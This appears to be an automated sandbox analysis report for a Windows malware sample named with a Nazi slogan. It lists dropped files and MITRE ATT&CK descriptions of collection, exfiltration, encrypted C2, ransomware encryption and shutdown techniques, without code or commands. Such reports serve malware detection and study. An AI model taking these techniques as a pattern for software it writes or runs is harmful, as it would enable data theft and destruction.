Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ?? ?\Display (1).png

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.0.cs

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.dll

C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.out

C:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP

C:\Users\user\AppData\Local\Temp\8KaTn.zip

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\RES4D0C.tmp

Windows Analysis Report
HeilHitler.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre